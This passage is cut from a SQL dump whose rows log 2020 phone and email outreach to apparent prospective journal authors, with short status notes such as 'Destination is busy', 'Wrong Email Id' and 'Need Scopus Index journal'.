Id','624-comm-sct.png',1,1,'2020-07-18'),(625,4304,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(626,3331,2,1,'Wrong Email Id','626-comm-sct.png',1,1,'2020-07-18'),(627,4296,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(628,3325,2,1,'Wrong Email Id','628-comm-sct.png',1,1,'2020-07-18'),(629,4299,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(630,3323,2,1,'Wrong Email Id','630-comm-sct.png',1,1,'2020-07-18'),(631,4295,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(632,3314,2,1,'Wrong Email Id','632-comm-sct.png',1,1,'2020-07-18'),(633,4291,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(634,4285,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(635,4298,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(636,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(637,4282,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(638,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(639,4273,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(640,4250,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(641,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(642,4297,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(643,4246,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(644,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(645,4228,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(646,4226,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(647,2577,2,1,'Need Scopus Index journal','647-comm-sct.png',1,1,'2020-07-18'),(648,4216,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(649,4296,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(650,2577,2,1,'Need Scopus Index journal','650-comm-sct.png',1,1,'2020-07-18'),(651,4201,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(652,4198,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(653,4197,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(654,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(655,4295,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(656,4194,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(657,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(658,4176,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(659,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(660,4150,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(661,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(662,4291,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(663,4144,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(664,3313,2,1,'Wrong Email Id','664-comm-sct.png',1,1,'2020-07-18'),(665,3311,2,1,'Wrong Email Id','665-comm-sct.png',1,1,'2020-07-18'),(666,4285,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(667,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(668,3310,2,1,'Wrong Email Id','668-comm-sct.png',1,1,'2020-07-18'),(669,3307,3,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(670,2577,2,1,'Need Scopus Index journal','670-comm-sct.png',1,1,'2020-07-18'),(671,3306,2,1,'Need Scopus Index journal','671-comm-sct.png',1,1,'2020-07-18'),(672,2577,2,1,'Need Scopus Index journal','672-comm-sct.png',1,1,'2020-07-18'),(673,3305,2,1,'Need Scopus Index journal','673-comm-sct.png',1,1,'2020-07-18'),(674,3304,2,1,'Need Scopus Index journal','674-comm-sct.png',1,1,'2020-07-18'),(675,3302,2,1,'Need Scopus Index journal','675-comm-sct.png',1,1,'2020-07-18'),(676,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(677,3300,3,1,'Need Scopus Index journal','677-comm-sct.png',1,1,'2020-07-18'),(678,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(679,3292,3,2,'Need Scopus Index journal',NULL,1,1,'2020-07-18'),(680,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(681,3289,3,2,'Need Scopus Index journal',NULL,1,1,'2020-07-18'),(682,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(683,3288,3,1,'Need Scopus Index journal','683-comm-sct.png',1,1,'2020-07-18'),(684,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(685,3280,3,1,'Need Scopus Index journal','685-comm-sct.png',1,1,'2020-07-18'),(686,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(687,3279,3,1,'Need Scopus Index journal','687-comm-sct.png',1,1,'2020-07-18'),(688,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(689,4143,2,1,'Wrong Email Id','689-comm-sct.png',1,1,'2020-07-18'),(690,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(691,4124,2,2,'Wrong Email Id','691-comm-sct.png',1,1,'2020-07-18'),(692,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(693,4119,2,1,'Wrong Email Id','693-comm-sct.png',1,1,'2020-07-18'),(694,3277,2,2,'Call not working',NULL,1,1,'2020-07-18'),(695,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(696,3276,2,2,'Call not working',NULL,1,1,'2020-07-18'),(697,4116,2,1,'Wrong Email Id','697-comm-sct.png',1,1,'2020-07-18'),(698,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(699,3274,2,2,'Call not working',NULL,1,1,'2020-07-18'),(700,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(701,4111,2,1,'Wrong Email Id','701-comm-sct.png',1,1,'2020-07-18'),(702,4110,2,1,'Wrong Email Id','702-comm-sct.png',1,1,'2020-07-18'),(703,2577,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(704,3273,2,2,'Call not working',NULL,1,1,'2020-07-18'),(705,4107,2,1,'Wrong Email Id','705-comm-sct.png',1,1,'2020-07-18'),(706,2577,2,1,'Need some time to finalise the content and approval','706-comm-sct.png',1,1,'2020-07-18'),(707,3271,4,1,'Need Scopus Index journal','707-comm-sct.png',1,1,'2020-07-18'),(708,2577,2,1,'Need some time to finalise the content and approval','708-comm-sct.png',1,1,'2020-07-18'),(709,3270,2,1,'Need Scopus Index journal','709-comm-sct.png',1,1,'2020-07-18'),(710,3269,2,1,'Need Scopus Index journal','710-comm-sct.png',1,1,'2020-07-18'),(711,4105,2,1,'Wrong Email Id','711-comm-sct.png',1,1,'2020-07-18'),(712,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(713,3266,3,1,'Need Scopus Index journal','713-comm-sct.png',1,1,'2020-07-18'),(714,4103,2,1,'Wrong Email Id','714-comm-sct.png',1,1,'2020-07-18'),(715,3262,2,1,'Need Scopus Index journal','715-comm-sct.png',1,1,'2020-07-18'),(716,4095,2,1,'Wrong Email Id','716-comm-sct.png',1,1,'2020-07-18'),(717,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(718,3253,2,1,'Need Scopus Index journal','718-comm-sct.png',1,1,'2020-07-18'),(719,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(720,3252,2,1,'Need Scopus Index journal','720-comm-sct.png',1,1,'2020-07-18'),(721,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(722,4086,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(723,3248,2,1,'Need Scopus Index journal','723-comm-sct.png',1,1,'2020-07-18'),(724,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(725,4084,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(726,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(727,3245,3,1,'Need Scopus Index journal','727-comm-sct.png',1,1,'2020-07-18'),(728,4077,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(729,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(730,4074,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(731,3244,2,1,'Need Scopus Index journal','731-comm-sct.png',1,1,'2020-07-18'),(732,4073,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(733,4071,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(734,3241,2,1,'Need Scopus Index journal','734-comm-sct.png',1,1,'2020-07-18'),(735,2577,2,1,'All circuits are busy now','735-comm-sct.png',1,1,'2020-07-18'),(736,4119,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(737,3238,3,1,'Need Scopus Index journal','737-comm-sct.png',1,1,'2020-07-18'),(738,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(739,4103,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(740,3235,2,1,'Need Scopus Index journal','740-comm-sct.png',1,1,'2020-07-18'),(741,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(742,4105,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(743,4107,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(744,3234,3,1,'Need Scopus Index journal','744-comm-sct.png',1,1,'2020-07-18'),(745,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(746,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(747,3233,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(748,4071,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(749,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(750,3231,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(751,4073,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(752,2577,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(753,4074,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(754,3216,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(755,4069,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(756,3213,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(757,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(758,4063,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(759,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(760,3212,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(761,4061,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(762,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(763,3196,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(764,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(765,3193,2,1,'Need some time to finalise the content and approval','765-comm-sct.png',1,1,'2020-07-18'),(766,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(767,3191,2,1,'Need some time to finalise the content and approval','767-comm-sct.png',1,1,'2020-07-18'),(768,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(769,3190,2,1,'Need some time to finalise the content and approval','769-comm-sct.png',1,1,'2020-07-18'),(770,3188,2,1,'Need some time to finalise the content and approval','770-comm-sct.png',1,1,'2020-07-18'),(771,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(772,3184,3,1,'Need some time to finalise the content and approval','772-comm-sct.png',1,1,'2020-07-18'),(773,3182,3,1,'Need some time to finalise the content and approval','773-comm-sct.png',1,1,'2020-07-18'),(774,3176,2,1,'Need some time to finalise the content and approval','774-comm-sct.png',1,1,'2020-07-18'),(775,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(776,3173,2,1,'Need some time to finalise the content and approval','776-comm-sct.png',1,1,'2020-07-18'),(777,3172,3,1,'Need some time to finalise the content and approval','777-comm-sct.png',1,1,'2020-07-18'),(778,2577,2,1,'Need some time to finalise the content and approval','778-comm-sct.png',1,1,'2020-07-18'),(779,3168,2,1,'Need some time to finalise the content and approval','779-comm-sct.png',1,1,'2020-07-18'),(780,2577,2,1,'Need some time to finalise the content and approval','780-comm-sct.png',1,1,'2020-07-18'),(781,3163,2,1,'Need some time to finalise the content and approval','781-comm-sct.png',1,1,'2020-07-18'),(782,3155,3,1,'Need some time to finalise the content and approval','782-comm-sct.png',1,1,'2020-07-18'),(783,2577,2,1,'Need some time to finalise the content and approval','783-comm-sct.png',1,1,'2020-07-18'),(784,2577,2,1,'Need Scopus Index journal','784-comm-sct.png',1,1,'2020-07-18'),(785,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(786,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(787,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(788,4058,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(789,2577,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(790,4050,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(791,4049,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(792,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(793,4046,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(794,4023,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(795,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(796,4008,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(797,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(798,3995,3,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(799,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(800,3990,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(801,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(802,2577,2,1,'Need Scopus Index journal','802-comm-sct.png',1,1,'2020-07-18'),(803,1272,2,2,'Need Scopus Index journal',NULL,1,1,'2020-07-18'),(804,3987,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(805,3986,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(806,3981,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(807,3980,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(808,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(809,2531,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(810,3976,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(811,2481,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(812,3975,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(813,3970,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(814,2425,2,1,'Need Scopus Index journal','814-comm-sct.png',1,1,'2020-07-18'),(815,3957,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(816,3945,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(817,3939,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(818,2413,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(819,3938,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(820,2361,1,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(821,3933,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(822,3930,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(823,2345,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(824,2339,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(825,2338,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(826,3929,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(827,2338,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(828,2337,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(829,2336,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(830,2335,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(831,2327,2,1,'Need Scopus Index journal','831-comm-sct.png',1,1,'2020-07-18'),(832,2255,2,1,'Need Scopus Index journal','832-comm-sct.png',1,1,'2020-07-18'),(833,2254,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(834,2237,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(835,3928,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(836,2237,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(837,3920,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(838,129,2,2,'Incorrect number',NULL,1,1,'2020-07-18'),(839,1169,2,2,'Incorrect number',NULL,1,1,'2020-07-18'),(840,1114,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(841,1025,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(842,1011,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(843,981,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(844,840,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(845,836,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(846,775,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(847,675,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(848,628,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(849,602,2,2,'Incorrect number',NULL,1,1,'2020-07-18'),(850,600,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(851,557,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(852,428,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(853,2171,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(854,2162,2,2,'Not answering',NULL,1,1,'2020-07-18'),(855,2120,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(856,2105,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(857,2079,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(858,1834,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(859,1783,2,2,'Number is not mentioned.',NULL,1,1,'2020-07-18'),(860,1753,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(861,1735,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(862,1733,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(863,1718,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(864,1674,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(865,1656,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(866,1634,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(867,1600,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(868,1584,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(869,1582,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(870,1512,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(871,1497,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(872,1478,2,2,'Number is not mentioned',NULL,1,1,'2020-07-18'),(873,1457,2,2,'Incorrect number',NULL,1,1,'2020-07-18'),(874,1318,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(875,1328,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(876,1457,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(877,2706,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(878,2705,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(879,2698,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(880,1328,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(881,1318,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(882,2633,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(883,2620,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(884,1358,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(885,2633,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(886,2620,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(887,2598,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(888,2598,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(889,2832,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(890,2832,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(891,2810,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(892,2785,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(893,2780,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(894,2810,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(895,2728,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(896,2723,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(897,2785,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(898,2780,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(899,2728,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(900,2723,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(901,3967,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(902,3559,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(903,6002,2,2,'No Response',NULL,5,1,'2020-09-04'),(904,5980,2,2,'No Response',NULL,5,1,'2020-09-04'),(905,5979,2,2,'No Response',NULL,5,1,'2020-09-04'),(906,5972,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(907,5976,2,2,'No Response',NULL,5,1,'2020-09-04'),(908,5967,2,2,'No Response',NULL,5,1,'2020-09-04'),(909,5969,1,2,'positive response',NULL,5,1,'2020-09-04'),(910,5966,2,2,'No Response',NULL,5,1,'2020-09-04'),(911,5956,2,2,'No Response',NULL,5,1,'2020-09-04'),(912,5947,2,2,'No Response',NULL,5,1,'2020-09-04'),(913,5920,2,2,'No Response',NULL,5,1,'2020-09-04'),(914,4125,4,2,'Already Published',NULL,5,1,'2020-09-04'),(915,5911,2,2,'No Response',NULL,5,1,'2020-09-04'),(916,5905,2,2,'No Response',NULL,5,1,'2020-09-04'),(917,5960,1,2,'positive response',NULL,5,1,'2020-09-04'),(918,5896,2,2,'No Response',NULL,5,1,'2020-09-04'),(919,5953,1,2,'positive response',NULL,5,1,'2020-09-04'),(920,5879,2,2,'No Response',NULL,5,1,'2020-09-04'),(921,5876,3,2,'No Response',NULL,5,1,'2020-09-04'),(922,5904,1,2,'positive response',NULL,5,1,'2020-09-04'),(923,3988,1,2,'Positive Response',NULL,5,1,'2020-09-04'),(924,5874,2,2,'No Response',NULL,5,1,'2020-09-04'),(925,5903,1,2,'positive response',NULL,5,1,'2020-09-04'),(926,5872,2,2,'No Response',NULL,5,1,'2020-09-04'),(927,5903,1,2,'positive response',NULL,5,1,'2020-09-04'),(928,3286,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(929,5860,1,2,'No Response',NULL,5,1,'2020-09-04'),(930,3275,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(931,3219,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(932,5854,2,2,'No Response',NULL,5,1,'2020-09-04'),(933,5903,1,2,'Positive response',NULL,5,1,'2020-09-04'),(934,3215,3,2,'Not Interested','934-comm-sct.png',5,1,'2020-09-04'),(935,5837,2,2,'No Response',NULL,1,1,'2020-09-04'),(936,3199,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(937,5897,1,2,'Positive response',NULL,5,1,'2020-09-04'),(938,5825,2,2,'No Response',NULL,5,1,'2020-09-04'),(939,5895,1,2,'Positive response',NULL,5,1,'2020-09-04'),(940,3156,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(941,5894,1,2,'Positive response',NULL,5,1,'2020-09-04'),(942,5809,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(943,2923,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(944,5892,1,2,'Positive response',NULL,5,1,'2020-09-04'),(945,5801,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(946,5883,1,2,'Positive response',NULL,5,1,'2020-09-04'),(947,3783,3,1,'Not Interested','947-comm-sct.png',5,1,'2020-09-04'),(948,5800,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(949,5880,1,2,'Positive response',NULL,5,1,'2020-09-04'),(950,5782,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(951,2630,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(952,3747,3,1,'Not Interested','952-comm-sct.png',5,1,'2020-09-04'),(953,5781,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(954,5868,1,2,'Positive response',NULL,5,1,'2020-09-04'),(955,3737,2,1,'No Response','955-comm-sct.png',5,1,'2020-09-04'),(956,5865,1,2,'Positive response',NULL,5,1,'2020-09-04'),(957,5774,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(958,5864,1,2,'Positive response',NULL,5,1,'2020-09-04'),(959,5771,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(960,5863,1,2,'Positive response',NULL,5,1,'2020-09-04'),(961,5767,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(962,5861,1,2,'Positive response',NULL,5,1,'2020-09-04'),(963,5855,1,2,'Positive response',NULL,5,1,'2020-09-04'),(964,5824,1,2,'Positive response',NULL,5,1,'2020-09-04'),(965,5759,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(966,5752,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(967,5823,1,2,'Positive response',NULL,5,1,'2020-09-04'),(968,5750,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(969,5749,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(970,5211,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(971,5748,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(972,5168,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(973,5721,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(974,5822,2,2,'No response',NULL,5,1,'2020-09-04'),(975,5157,2,1,'No Response','975-comm-sct.png',5,2,'2020-09-04'),(976,5152,2,1,'No Response','976-comm-sct.png',5,1,'2020-09-04'),(977,5821,2,2,'No response',NULL,5,1,'2020-09-04'),(978,5717,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(979,5151,2,2,'No Response',NULL,5,1,'2020-09-04'),(980,5708,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(981,5819,2,2,'No response',NULL,5,1,'2020-09-04'),(982,5134,2,2,'No Response',NULL,5,1,'2020-09-04'),(983,5116,2,2,'No Response',NULL,5,1,'2020-09-04'),(984,5701,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(985,5804,2,2,'No response',NULL,5,1,'2020-09-04'),(986,5080,2,2,'No Response',NULL,5,1,'2020-09-04'),(987,5073,2,2,'No Response',NULL,5,1,'2020-09-04'),(988,5795,2,2,'No response',NULL,5,1,'2020-09-04'),(989,5671,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(990,4992,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(991,5770,2,2,'No response',NULL,5,1,'2020-09-04'),(992,5611,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(993,4965,3,1,'Not Interested','993-comm-sct.png',5,1,'2020-09-04'),(994,5576,1,2,'Postive Response',NULL,5,1,'2020-09-04'),(995,4957,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(996,5746,2,2,'No response',NULL,5,1,'2020-09-04'),(997,4956,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(998,4955,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(999,5572,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1000,5722,2,2,'No response',NULL,5,1,'2020-09-04'),(1001,4951,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1002,4950,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1003,4945,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1004,5720,2,2,'No response',NULL,5,1,'2020-09-04'),(1005,5570,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1006,4942,3,1,'Not Interested','1006-comm-sct.png',5,1,'2020-09-04'),(1007,5713,2,2,'No response',NULL,5,1,'2020-09-04'),(1008,5482,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1009,4938,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1010,4913,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1011,5491,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1012,5692,2,2,'No response',NULL,5,1,'2020-09-04'),(1013,4912,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1014,5508,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1015,4911,2,2,'No Response',NULL,5,1,'2020-09-04'),(1016,5691,2,2,'No response',NULL,5,1,'2020-09-04'),(1017,5552,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1018,4897,2,2,'No Response',NULL,5,1,'2020-09-04'),(1019,4802,2,2,'No Response',NULL,5,1,'2020-09-04'),(1020,5691,2,2,'No response',NULL,5,1,'2020-09-04'),(1021,5554,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1022,4775,2,2,'No Response',NULL,5,1,'2020-09-04'),(1023,5556,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1024,4752,2,2,'No Response',NULL,5,1,'2020-09-04'),(1025,5686,2,2,'No response',NULL,5,1,'2020-09-04'),(1026,5559,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1027,4751,2,1,'No Response','1027-comm-sct.png',5,1,'2020-09-04'),(1028,4680,2,1,'No Response','1028-comm-sct.png',5,1,'2020-09-04'),(1029,5685,2,2,'No response',NULL,5,1,'2020-09-04'),(1030,5560,3,2,'Not Interested',NULL,5,1,'2020-09-04'),(1031,4645,2,2,'No Response',NULL,5,1,'2020-09-04'),(1032,4489,2,2,'No 